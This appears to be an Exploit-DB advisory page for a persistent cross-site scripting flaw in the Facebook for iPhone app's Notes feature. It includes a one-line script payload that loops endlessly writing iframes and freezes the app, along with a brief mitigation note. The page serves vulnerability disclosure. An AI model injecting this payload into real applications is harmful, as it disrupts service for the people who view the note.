header-logo
Suggest Exploit
vendor:
Facebook for iPhone
by:
marco_
5.5
CVSS
MEDIUM
Persistent XSS
79
CWE
Product Name: Facebook for iPhone
Affected Version From:
Affected Version To:
Patch Exists: NO
Related CWE:
CPE:
Metasploit:
Other Scripts:
Platforms Tested: iPhone

Facebook for iPhone persistent XSS

The Facebook application for iPhone does not properly encode special characters in the Notes detail, allowing an attacker to inject malicious code. By adding a specific script code in a note, the application freezes and becomes unresponsive.

Mitigation:

To mitigate this vulnerability, Facebook should ensure that all user-generated content is properly encoded to prevent the execution of malicious scripts.
Source

Exploit-DB raw data:

Facebook for iPhone persistent XSS

Facebook application for iPhone is not encoding special characters in Notes detail

Adding this code in a note will freeze application:
<script>var x = 'x'; while (1) { document.write('<iframe src="tel:'+x+'"></iframe>'); x = x + 'x'; }</script>

App page: http://www.facebook.com/apps/application.php?id=6628568379
Download: http://phobos.apple.com/WebObjects/MZStore.woa/wa/viewSoftware?id=284882215&mt=8

marco_ <marcojetson@gmail.com>